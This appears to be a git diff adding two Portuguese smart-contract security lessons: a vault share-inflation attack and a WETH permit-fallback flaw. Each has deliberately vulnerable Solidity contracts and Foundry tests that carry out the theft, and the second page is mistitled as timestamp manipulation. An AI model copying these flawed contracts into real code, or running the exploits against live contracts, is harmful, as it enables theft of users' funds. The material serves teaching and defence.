0000000..164851c --- /dev/null +++ b/src/exemplos/hacks/inflacao-do-cofre.md @@ -0,0 +1,199 @@ +# Inflação do cofre + +Vulnerabilidade + +As ações do cofre podem ser infladas doando tokens ERC20 para o cofre. + +O invasor pode explorar esse comportamento para roubar os depósitos de outros usuários. + +Exemplo +O usuário 0 executa o depósito do usuário 1. + +1. O usuário 0 deposita 1. +2. O usuário 0 doa `100 * 1e18`. Isso aumenta o valor de cada ação. +3. O usuário 1 deposita `100 * 1e18`. Isso gera 0 ações para o usuário 1. +4. O usuário 0 retira todos os `200 * 1e18 + 1`. + +Proteções + +* Mínimo de ações -> protege contra a corrida pela frente +* Saldo interno -> protege contra doações +* Ações mortas -> o contrato é o primeiro depositante +* Compensação decimal (OpenZeppelin ERC4626) + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity 0.8.20; + +import {Test, console2} from "forge-std/Test.sol"; + +uint8 constant DECIMALS = 18; + +interface IERC20 { + function totalSupply() external view returns (uint256); + function balanceOf(address account) external view returns (uint256); + function transfer(address recipient, uint256 amount) external returns (bool); + function allowance(address owner, address spender) external view returns (uint256); + function approve(address spender, uint256 amount) external returns (bool); + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); + + event Transfer(address indexed from, address indexed to, uint256 value); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +contract Token is IERC20 { + uint256 public totalSupply; + mapping(address => uint256) public balanceOf; + mapping(address => mapping(address => uint256)) public allowance; + uint8 public decimals = DECIMALS; + + function transfer(address recipient, uint256 amount) external returns (bool) { + balanceOf[msg.sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(msg.sender, recipient, amount); + return true; + } + + function approve(address spender, uint256 amount) external returns (bool) { + allowance[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + return true; + } + + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { + allowance[sender][msg.sender] -= amount; + balanceOf[sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(sender, recipient, amount); + return true; + } + + function mint(address dst, uint256 amount) external { + balanceOf[dst] += amount; + totalSupply += amount; + emit Transfer(address(0), dst, amount); + } + + function burn(uint256 amount) external { + balanceOf[msg.sender] -= amount; + totalSupply -= amount; + emit Transfer(msg.sender, address(0), amount); + } +} + +contract Vault { + IERC20 public immutable token; + + uint256 public totalSupply; + mapping(address => uint256) public balanceOf; + + constructor(address _token) { + token = IERC20(_token); + } + + function _mint(address _to, uint256 _shares) private { + totalSupply += _shares; + balanceOf[_to] += _shares; + } + + function _burn(address _from, uint256 _shares) private { + totalSupply -= _shares; + balanceOf[_from] -= _shares; + } + + // Ataque de inflação // + // 1. usuário 0 deposita 1 + // 2. usuário 0 doa 100 * 1e18 + // 3. usuário 1 deposita 100 * 1e18 -> 0 ações mintada + // 4. O usuário 0 retira 200 * 1e18 + 1 + // + // ações do usuário 1 = 100 * 1e18 * 1 / (100 * 1e18 + 1) + // = 0 + // + // | saldo | ações do usuário 0 | ações do usuário 0 | fornecimento total | + // 1. | 1 | 1 | 0 | 1 | + // 2. | 100 * 1e18 + 1 | 1 | 0 | 1 | + // 3. | 200 * 1e18 + 1 | 1 | 0 | 1 | + // 4. | 0 | 0 | 0 | 0 | + + function deposit(uint256 amount) external { + uint256 shares; + if (totalSupply == 0) { + shares = amount; + } else { + shares = (amount * totalSupply) / token.balanceOf(address(this)); + } + + _mint(msg.sender, shares); + token.transferFrom(msg.sender, address(this), amount); + } + + function withdraw(uint256 shares) external returns (uint256) { + uint256 amount = (shares * token.balanceOf(address(this))) / totalSupply; + _burn(msg.sender, shares); + token.transfer(msg.sender, amount); + return amount; + } + + function previewRedeem(uint256 shares) external returns (uint256) { + if (totalSupply == 0) { + return 0; + } + return (shares * token.balanceOf(address(this))) / totalSupply; + } +} + +// forge test -vvv --match-path Vault.test.sol +contract VaultTest is Test { + Vault private vault; + Token private token; + + address[] private users = [address(11), address(12)]; + + function setUp() public { + token = new Token(); + vault = new Vault(address(token)); + + for (uint256 i = 0; i < users.length; i++) { + token.mint(users[i], 10000 * (10 ** DECIMALS)); + vm.prank(users[i]); + token.approve(address(vault), type(uint256).max); + } + } + + function print() private { + console2.log("vault total supply", vault.totalSupply()); + console2.log("vault balance", token.balanceOf(address(vault))); + uint256 shares0 = vault.balanceOf(users[0]); + uint256 shares1 = vault.balanceOf(users[1]); + console2.log("users[0] shares", shares0); + console2.log("users[1] shares", shares1); + console2.log("users[0] redeemable", vault.previewRedeem(shares0)); + console2.log("users[1] redeemable", vault.previewRedeem(shares1)); + } + + function test() public { + // users[0] depósita 1 + console2.log("--- users[0] deposit ---"); + vm.prank(users[0]); + vault.deposit(1); + print(); + + // users[0] doa 100 + console2.log("--- users[0] donate ---"); + vm.prank(users[0]); + token.transfer(address(vault), 100 * (10 ** DECIMALS)); + print(); + + // users[1] deposita 100 + console2.log("--- users[1] deposit ---"); + vm.prank(users[1]); + vault.deposit(100 * (10 ** DECIMALS)); + print(); + } +} +``` + +## Teste no Remix + +* [BlockTimestamp.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjIwOwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKCnVpbnQ4IGNvbnN0YW50IERFQ0lNQUxTID0gMTg7CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludDI1NiB2YWx1ZSk7CiAgICBldmVudCBBcHByb3ZhbChhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IHZhbHVlKTsKfQoKY29udHJhY3QgVG9rZW4gaXMgSUVSQzIwIHsKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpKSBwdWJsaWMgYWxsb3dhbmNlOwogICAgdWludDggcHVibGljIGRlY2ltYWxzID0gREVDSU1BTFM7CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKSB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICAgICAgZW1pdCBUcmFuc2Zlcihtc2cuc2VuZGVyLCByZWNpcGllbnQsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKSB7CiAgICAgICAgYWxsb3dhbmNlW21zZy5zZW5kZXJdW3NwZW5kZXJdID0gYW1vdW50OwogICAgICAgIGVtaXQgQXBwcm92YWwobXNnLnNlbmRlciwgc3BlbmRlciwgYW1vdW50KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGFsbG93YW5jZVtzZW5kZXJdW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2Zbc2VuZGVyXSAtPSBhbW91bnQ7CiAgICAgICAgYmFsYW5jZU9mW3JlY2lwaWVudF0gKz0gYW1vdW50OwogICAgICAgIGVtaXQgVHJhbnNmZXIoc2VuZGVyLCByZWNpcGllbnQsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIGRzdCwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBiYWxhbmNlT2ZbZHN0XSArPSBhbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgKz0gYW1vdW50OwogICAgICAgIGVtaXQgVHJhbnNmZXIoYWRkcmVzcygwKSwgZHN0LCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJ1cm4odWludDI1NiBhbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gLT0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICBlbWl0IFRyYW5zZmVyKG1zZy5zZW5kZXIsIGFkZHJlc3MoMCksIGFtb3VudCk7CiAgICB9Cn0KCmNvbnRyYWN0IFZhdWx0IHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgX3RvLCB1aW50MjU2IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW190b10gKz0gX3NoYXJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIF9mcm9tLCB1aW50MjU2IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5IC09IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW19mcm9tXSAtPSBfc2hhcmVzOwogICAgfQoKICAgIC8vIEF0YXF1ZSBkZSBpbmZsYWNhbyAvLwogICAgLy8gMS4gdXN1YXJpbyAwIGRlcG9zaXRhIDEKICAgIC8vIDIuIHVzdWFyaW8gMCBkb2EgMTAwICogMWUxOAogICAgLy8gMy4gdXN1YXJpbyAxIGRlcG9zaXRhIDEwMCAqIDFlMTggLT4gMCBhY29lcyBtaW50YWRhCiAgICAvLyA0LiBPIHVzdWFyaW8gMCByZXRpcmEgMjAwICogMWUxOCArIDEKICAgIC8vCiAgICAvLyBhY29lcyBkbyB1c3VhcmlvIDEgPSAxMDAgKiAxZTE4ICogMSAvICgxMDAgKiAxZTE4ICsgMSkKICAgIC8vICAgICAgICAgICAgICAgPSAwCiAgICAvLwogICAgLy8gICAgfCBzYWxkbyAgICAgICAgICB8IGFjb2VzIGRvIHVzdWFyaW8gMCB8IGFjb2VzIGRvIHVzdWFyaW8gMCB8IGZvcm5lY2ltZW50byB0b3RhbCB8CiAgICAvLyAxLiB8ICAgICAgICAgICAgICAxIHwgICAgICAgICAgICAgMSAgICAgIHwgICAgICAgICAgICAgMCAgICAgIHwgICAgICAgICAgICAxICAgICAgIHwKICAgIC8vIDIuIHwgMTAwICogMWUxOCArIDEgfCAgICAgICAgICAgICAxICAgICAgfCAgICAgICAgICAgICAwICAgICAgfCAgICAgICAgICAgIDEgICAgICAgfAogICAgLy8gMy4gfCAyMDAgKiAxZTE4ICsgMSB8ICAgICAgICAgICAgIDEgICAgICB8ICAgICAgICAgICAgIDAgICAgICB8ICAgICAgICAgICAgMSAgICAgICB8CiAgICAvLyA0LiB8ICAgICAgICAgICAgICAwIHwgICAgICAgICAgICAgMCAgICAgIHwgICAgICAgICAgICAgMCAgICAgIHwgICAgICAgICAgICAwICAgICAgIHwKCiAgICBmdW5jdGlvbiBkZXBvc2l0KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgdWludDI1NiBzaGFyZXM7CiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID09IDApIHsKICAgICAgICAgICAgc2hhcmVzID0gYW1vdW50OwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNoYXJlcyA9IChhbW91bnQgKiB0b3RhbFN1cHBseSkgLyB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgfQoKICAgICAgICBfbWludChtc2cuc2VuZGVyLCBzaGFyZXMpOwogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgc2hhcmVzKSBleHRlcm5hbCByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiBhbW91bnQgPSAoc2hhcmVzICogdG9rZW4uYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpKSAvIHRvdGFsU3VwcGx5OwogICAgICAgIF9idXJuKG1zZy5zZW5kZXIsIHNoYXJlcyk7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50KTsKICAgICAgICByZXR1cm4gYW1vdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIHByZXZpZXdSZWRlZW0odWludDI1NiBzaGFyZXMpIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICBpZiAodG90YWxTdXBwbHkgPT0gMCkgewogICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIChzaGFyZXMgKiB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSkpIC8gdG90YWxTdXBwbHk7CiAgICB9Cn0KCi8vIGZvcmdlIHRlc3QgLXZ2diAtLW1hdGNoLXBhdGggVmF1bHQudGVzdC5zb2wKY29udHJhY3QgVmF1bHRUZXN0IGlzIFRlc3QgewogICAgVmF1bHQgcHJpdmF0ZSB2YXVsdDsKICAgIFRva2VuIHByaXZhdGUgdG9rZW47CgogICAgYWRkcmVzc1tdIHByaXZhdGUgdXNlcnMgPSBbYWRkcmVzcygxMSksIGFkZHJlc3MoMTIpXTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7CiAgICAgICAgdG9rZW4gPSBuZXcgVG9rZW4oKTsKICAgICAgICB2YXVsdCA9IG5ldyBWYXVsdChhZGRyZXNzKHRva2VuKSk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHVzZXJzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHRva2VuLm1pbnQodXNlcnNbaV0sIDEwMDAwICogKDEwICoqIERFQ0lNQUxTKSk7CiAgICAgICAgICAgIHZtLnByYW5rKHVzZXJzW2ldKTsKICAgICAgICAgICAgdG9rZW4uYXBwcm92ZShhZGRyZXNzKHZhdWx0KSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBwcmludCgpIHByaXZhdGUgewogICAgICAgIGNvbnNvbGUyLmxvZygidmF1bHQgdG90YWwgc3VwcGx5IiwgdmF1bHQudG90YWxTdXBwbHkoKSk7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBiYWxhbmNlIiwgdG9rZW4uYmFsYW5jZU9mKGFkZHJlc3ModmF1bHQpKSk7CiAgICAgICAgdWludDI1NiBzaGFyZXMwID0gdmF1bHQuYmFsYW5jZU9mKHVzZXJzWzBdKTsKICAgICAgICB1aW50MjU2IHNoYXJlczEgPSB2YXVsdC5iYWxhbmNlT2YodXNlcnNbMV0pOwogICAgICAgIGNvbnNvbGUyLmxvZygidXNlcnNbMF0gc2hhcmVzIiwgc2hhcmVzMCk7CiAgICAgICAgY29uc29sZTIubG9nKCJ1c2Vyc1sxXSBzaGFyZXMiLCBzaGFyZXMxKTsKICAgICAgICBjb25zb2xlMi5sb2coInVzZXJzWzBdIHJlZGVlbWFibGUiLCB2YXVsdC5wcmV2aWV3UmVkZWVtKHNoYXJlczApKTsKICAgICAgICBjb25zb2xlMi5sb2coInVzZXJzWzFdIHJlZGVlbWFibGUiLCB2YXVsdC5wcmV2aWV3UmVkZWVtKHNoYXJlczEpKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIHsKICAgICAgICAvLyB1c2Vyc1swXSBkZXBvc2l0YSAxCiAgICAgICAgY29uc29sZTIubG9nKCItLS0gdXNlcnNbMF0gZGVwb3NpdCAtLS0iKTsKICAgICAgICB2bS5wcmFuayh1c2Vyc1swXSk7CiAgICAgICAgdmF1bHQuZGVwb3NpdCgxKTsKICAgICAgICBwcmludCgpOwoKICAgICAgICAvLyB1c2Vyc1swXSBkb2EgMTAwCiAgICAgICAgY29uc29sZTIubG9nKCItLS0gdXNlcnNbMF0gZG9uYXRlIC0tLSIpOwogICAgICAgIHZtLnByYW5rKHVzZXJzWzBdKTsKICAgICAgICB0b2tlbi50cmFuc2ZlcihhZGRyZXNzKHZhdWx0KSwgMTAwICogKDEwICoqIERFQ0lNQUxTKSk7CiAgICAgICAgcHJpbnQoKTsKCiAgICAgICAgLy8gdXNlcnNbMV0gZGVwb3NpdGEgMTAwCiAgICAgICAgY29uc29sZTIubG9nKCItLS0gdXNlcnNbMV0gZGVwb3NpdCAtLS0iKTsKICAgICAgICB2bS5wcmFuayh1c2Vyc1sxXSk7CiAgICAgICAgdmF1bHQuZGVwb3NpdCgxMDAgKiAoMTAgKiogREVDSU1BTFMpKTsKICAgICAgICBwcmludCgpOwogICAgfQp9&version=soljson-v0.8.20+commit.a1b79de6.js) diff --git a/src/exemplos/hacks/licenca-WETH.md b/src/exemplos/hacks/licenca-WETH.md new file mode 100644 index 0000000..2f60361 --- /dev/null +++ b/src/exemplos/hacks/licenca-WETH.md @@ -0,0 +1,139 @@ +# Manipulação do Bloco Timestamp + +Vulnerabilidade + +A maioria dos ERC20 tem a função `permit` para aprovar um gastador se for fornecida uma assinatura válida. + +No entanto, o `WETH` não tem. Surpreendentemente, quando a `permit` é chamada no `WETH`, a chamada da função é executada sem nenhum erro. + +Isso ocorre porque o `fallback` dentro do `WETH` é executado quando a `permit` é chamada. + +Exemplo +O usuário 0 executa o depósito do usuário 1. + +1. Alice dá aprovação infinita para que o `ERC20Bank` gaste `WETH` +2. Alice chama o `deposit`, deposita `1 WETH` no `ERC20Bank` +3. O atacante chama `depositWithPermit`, passa uma assinatura vazia e transfere todos os tokens de Alice para o `ERC20Bank`, creditando o depósito ao atacante. +4. O atacante retira todos os tokens creditados a ele. + +ERC20Bank + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity 0.8.22; + +import "./IERC20Permit.sol"; + +contract ERC20Bank { + IERC20Permit public immutable token; + mapping(address => uint256) public balanceOf; + + constructor(address _token) { + token = IERC20Permit(_token); + } + + function deposit(uint256 _amount) external { + token.transferFrom(msg.sender, address(this), _amount); + balanceOf[msg.sender] += _amount; + } + + function depositWithPermit( + address owner, + address spender, + uint256 amount, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) external { + token.permit(owner, spender, amount, deadline, v, r, s); + token.transferFrom(owner, address(this), amount); + balanceOf[spender] += amount; + } + + function withdraw(uint256 _amount) external { + balanceOf[msg.sender] -= _amount; + token.transfer(msg.sender, _amount); + } +} +``` + +Exploração + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity 0.8.22; + +import {Test, console2} from "forge-std/Test.sol"; +import {WETH} from "../src/WETH.sol"; +import {ERC20Bank} from "../src/ERC20Bank.sol"; + +contract ERC20BankExploitTest is Test { + WETH private weth; + ERC20Bank private bank; + address private constant user = address(11); + address private constant attacker = address(12); + + function setUp() public { + weth = new WETH(); + bank = new ERC20Bank(address(weth)); + + deal(user, 100 * 1e18); + vm.startPrank(user); + weth.deposit{value: 100 * 1e18}(); + weth.approve(address(bank), type(uint256).max); + bank.deposit(1e18); + vm.stopPrank(); + } + + function test() public { + uint256 bal = weth.balanceOf(user); + vm.startPrank(attacker); + bank.depositWithPermit(user, attacker, bal, 0, 0, "", ""); + bank.withdraw(bal); + vm.stopPrank(); + + assertEq(weth.balanceOf(user), 0, "WETH balance of user"); + assertEq( + weth.balanceOf(address(attacker)), + 99 * 1e18, + "WETH balance of attacker" + ); + } +} +``` + +Outros contratos + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity 0.8.22; + +interface IERC20 { + function totalSupply() external view returns (uint256); + function balanceOf(address account) external view returns (uint256); + function allowance(address owner, address spender) + external + view + returns (uint256); + function approve(address spender, uint256 amount) external returns (bool); + function transfer(address dst, uint256 amount) external returns (bool); + function transferFrom(address src, address dst, uint256 amount) + external + returns (bool); + + event Transfer(address indexed src, address indexed dst, uint256 amount); + event Approval( + address indexed owner, address indexed spender, uint256 amount + ); +} +``` + +## Teste no Remix + +* [ERC20.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjIyOwoKYWJzdHJhY3QgY29udHJhY3QgRVJDMjAgewogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiBhbW91bnQKICAgICk7CgogICAgc3RyaW5nIHB1YmxpYyBuYW1lOwogICAgc3RyaW5nIHB1YmxpYyBzeW1ib2w7CiAgICB1aW50OCBwdWJsaWMgaW1tdXRhYmxlIGRlY2ltYWxzOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpKSBwdWJsaWMgYWxsb3dhbmNlOwoKICAgIGNvbnN0cnVjdG9yKHN0cmluZyBtZW1vcnkgX25hbWUsIHN0cmluZyBtZW1vcnkgX3N5bWJvbCwgdWludDggX2RlY2ltYWxzKSB7CiAgICAgICAgbmFtZSA9IF9uYW1lOwogICAgICAgIHN5bWJvbCA9IF9zeW1ib2w7CiAgICAgICAgZGVjaW1hbHMgPSBfZGVjaW1hbHM7CiAgICB9CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGFsbG93YW5jZVttc2cuc2VuZGVyXVtzcGVuZGVyXSA9IGFtb3VudDsKICAgICAgICBlbWl0IEFwcHJvdmFsKG1zZy5zZW5kZXIsIHNwZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2Zlcihtc2cuc2VuZGVyLCB0bywgYW1vdW50KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aXJ0dWFsCiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICB1aW50MjU2IGFsbG93ZWQgPSBhbGxvd2FuY2VbZnJvbV1bbXNnLnNlbmRlcl07CiAgICAgICAgaWYgKGFsbG93ZWQgIT0gdHlwZSh1aW50MjU2KS5tYXgpIHsKICAgICAgICAgICAgYWxsb3dhbmNlW2Zyb21dW21zZy5zZW5kZXJdID0gYWxsb3dlZCAtIGFtb3VudDsKICAgICAgICB9CiAgICAgICAgYmFsYW5jZU9mW2Zyb21dIC09IGFtb3VudDsKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2Zlcihmcm9tLCB0bywgYW1vdW50KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgaW50ZXJuYWwgdmlydHVhbCB7CiAgICAgICAgdG90YWxTdXBwbHkgKz0gYW1vdW50OwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIGJhbGFuY2VPZlt0b10gKz0gYW1vdW50OwogICAgICAgIH0KICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKGFkZHJlc3MgZnJvbSwgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgdG90YWxTdXBwbHkgLT0gYW1vdW50OwogICAgICAgIH0KICAgICAgICBlbWl0IFRyYW5zZmVyKGZyb20sIGFkZHJlc3MoMCksIGFtb3VudCk7CiAgICB9Cn0K=&version=soljson-v0.8.20+commit.a1b79de6.js) +* [ERC20Bank.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjIyOwoKaW1wb3J0ICIuL0lFUkMyMFBlcm1pdC5zb2wiOwoKY29udHJhY3QgRVJDMjBCYW5rIHsKICAgIElFUkMyMFBlcm1pdCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMFBlcm1pdChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgdG9rZW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnQpOwogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSArPSBfYW1vdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXRXaXRoUGVybWl0KAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBzcGVuZGVyLAogICAgICAgIHVpbnQyNTYgYW1vdW50LAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIGV4dGVybmFsIHsKICAgICAgICB0b2tlbi5wZXJtaXQob3duZXIsIHNwZW5kZXIsIGFtb3VudCwgZGVhZGxpbmUsIHYsIHIsIHMpOwogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShvd25lciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50KTsKICAgICAgICBiYWxhbmNlT2Zbc3BlbmRlcl0gKz0gYW1vdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgX2Ftb3VudCkgZXh0